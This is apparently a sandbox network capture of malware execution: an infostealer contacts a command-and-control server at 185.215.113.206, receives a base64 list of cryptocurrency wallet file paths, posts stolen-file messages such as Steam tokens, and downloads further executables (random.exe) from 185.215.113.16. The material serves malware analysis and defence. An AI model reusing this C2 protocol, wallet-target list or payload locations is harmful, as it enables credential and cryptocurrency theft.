Nov 11, 2024 19:17:57.259264946 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 11, 2024 19:17:57.262800932 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"files------GHJKJDAKEHJDGDGDGHID--
Nov 11, 2024 19:17:57.465250015 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:57.482686043 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file"------AKKEGHJDHDAFHIDHCFHD--
Nov 11, 2024 19:17:58.188174963 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:58.279398918 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"ybncbhylepme------DAFBGHCAKKFCAKEBKJKK--
Nov 11, 2024 19:17:58.482551098 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 11, 2024 19:18:00.455446959 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 2d 2d 0d 0a Data Ascii: ------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIDGHIIECGHDHJKFCAEG--
Nov 11, 2024 19:18:01.186616898 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:18:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49929	185.215.113.16	80	5900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:17:58.493009090 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 11, 2024 19:17:59.133402109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:17:59 GMT Content-Type: application/octet-stream Content-Length: 3123712 Last-Modified: Mon, 11 Nov 2024 17:39:39 GMT Connection: keep-alive ETag: "6732415b-2faa00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 2f 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf/@/D0@WkX// @.rsrc@.idata @peszfxun((@uoryxkfj//@.taggant0/"/@
Nov 11, 2024 19:17:59.133439064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:17:59.133452892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:17:59.133492947 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:17:59.133505106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:17:59.133517027 CET	1236	IN	Data Raw: cf be 83 94 b6 3c 85 ac 5b 3d 50 79 cf e4 87 14 37 ff c8 ac bb 36 ae f2 02 62 93 19 04 7a eb 5c d0 be 83 94 96 3c 85 ac 5b 3d 50 79 cf e4 87 14 3f ff c8 ac bb a6 b3 f2 02 62 73 19 04 7a eb bc d0 be 83 94 76 3c 85 ac 5b 3d 50 79 cf e4 87 14 47 ff Data Ascii: <[=Py76bz\<[=Py?bszv<[=PyG~bSzV<[=PyOb3z\|6<[=PyWbz<[=Py_bz<;[=Pygbz;[=Pyo
Nov 11, 2024 19:17:59.133531094 CET	1236	IN	Data Raw: bb 0e b2 f2 02 62 d3 14 04 7a eb 9c de be 83 94 d6 37 85 ac 5b 3d 50 79 cf e4 93 14 b7 00 c9 ac bb 12 b9 f2 02 62 b3 14 04 7a eb fc de be 83 94 b6 37 85 ac 5b 3d 50 79 cf e4 93 14 cb 00 c9 ac bb de b1 f2 02 62 93 14 04 7a eb 5c df be 83 94 96 37 Data Ascii: bz7[=Pybz7[=Pybz\7[=Pybszv7[=PyNbSzV7[=Pyb3z\|67[=Py+bz7[=Py7Fbz<6
Nov 11, 2024 19:17:59.133543968 CET	336	IN	Data Raw: 5b 3d 50 79 cf e4 a7 14 0b 05 c9 ac bb 76 b3 f2 02 62 f3 0f 04 7a eb 3c ed be 83 94 f6 32 85 ac 5b 3d 50 79 cf e4 bf 14 33 05 c9 ac bb be b6 f2 02 62 d3 0f 04 7a eb 9c ed be 83 94 d6 32 85 ac 5b 3d 50 79 cf e4 93 14 73 05 c9 ac bb 96 b7 f2 02 62 Data Ascii: [=Pyvbz<2[=Py3bz2[=Pysbz2[=PyFbz\2[=Pybszv2[=PybSzV2[=Pynb3z\|62[=Pyb
Nov 11, 2024 19:17:59.133632898 CET	1236	IN	Data Raw: 02 62 b3 0e 04 7a eb fc f0 be 83 94 b6 31 85 ac 5b 3d 50 79 cf e4 87 14 ef 05 c9 ac bb e6 b5 f2 02 62 93 0e 04 7a eb 5c f1 be 83 94 96 31 85 ac 5b 3d 50 79 cf e4 9b 14 f7 05 c9 ac bb fe b5 f2 02 62 73 0e 04 7a eb bc f1 be 83 94 76 31 85 ac 5b 3d Data Ascii: bz1[=Pybz\1[=Pybszv1[=PybSzV1[=Py7fb3z\|61[=PyGbz1[=PyWbz<0[=Pycbz0[=P
Nov 11, 2024 19:17:59.133646011 CET	1236	IN	Data Raw: cf 07 c5 b0 c9 7b 17 b2 47 7a d3 94 a6 8f 86 ac 5b 3d 50 79 cf 46 50 79 cf 46 50 79 cf 46 50 79 cf 05 cd b0 ba b6 04 f2 02 ff 4c bc 47 3b 47 79 cf cf 0e 99 59 05 75 3a 49 7e 4a b3 96 7f c8 ac 52 62 f1 c1 05 7a 06 71 07 70 c9 b4 03 ee 8e 16 0f d0 Data Ascii: {Gz[=PyFPyFPyFPyLG;GyYu:I~JRbzqpkZ{/saEl;sD~-HzJvFPyFPyk{FPyFPyYyk>7nzOyFPyYCiYtk{/saFyFPyFPyFPymyz$
Nov 11, 2024 19:17:59.138364077 CET	1236	IN	Data Raw: 02 7a 83 fc 8f bf 67 73 48 42 84 fc 8b c7 67 73 48 62 85 94 67 8a 86 ac 8d cf 2f 30 c7 82 4a b4 82 80 c8 ac 85 74 94 1e 2b 05 d1 44 45 05 45 2e fd 7a 93 ac 02 ec 93 37 4c 76 07 6f 26 a5 44 30 c3 76 07 a5 22 f1 c6 fe 53 62 66 5a 04 7a 06 71 0b 05 Data Ascii: zgsHBgsHbg/0Jt+DEE.z7Lvo&D0v"SbfZzqAGzgzbPE!_7Eb1zkUF}xFPyFPyFPyYu:I~JRbzqpk{/saEmy4z$"&z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	56450	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:04.231251955 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:19:04.884072065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	56451	185.215.113.43	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:06.421394110 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 11, 2024 19:19:07.062237978 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 35 38 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 38 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 35 38 39 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 39 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005587001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005588001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005589031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005590001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	56452	185.215.113.16	80	1888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:19:07.079045057 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 19:19:07.731242895 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:07 GMT Content-Type: application/octet-stream Content-Length: 3191296 Last-Modified: Mon, 11 Nov 2024 17:39:18 GMT Connection: keep-alive ETag: "67324146-30b200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 d0 dd 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@00@Th@ @.rsrc@@.idata @uzuifqev+*@yhwixkgc00@.taggant00"0@
Nov 11, 2024 19:19:07.731266975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:07.731280088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:07.731579065 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 19:19:07.731590986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c bb b2 1f 8e e0 94 d4 2f b4 b9 50 39 32 16 f7 7c 2a 9f 34 5b 4e 9d 2d 4b bd 4a 60 fe ee f1 33 37 32 16 70 c0 88 bc 65 c7 a2 a5 e0 c7 a2 a5 e0 c0 71 9e a8 46 c0 14 f9 35 bb 10 33 7a Data Ascii: /P92\|*4[N-KJ`372peqF53zAS::o"Ujot\O6cAsO2prD[&Zpp`64p<[f6`:CE372<[&sn721;Ttu-P\
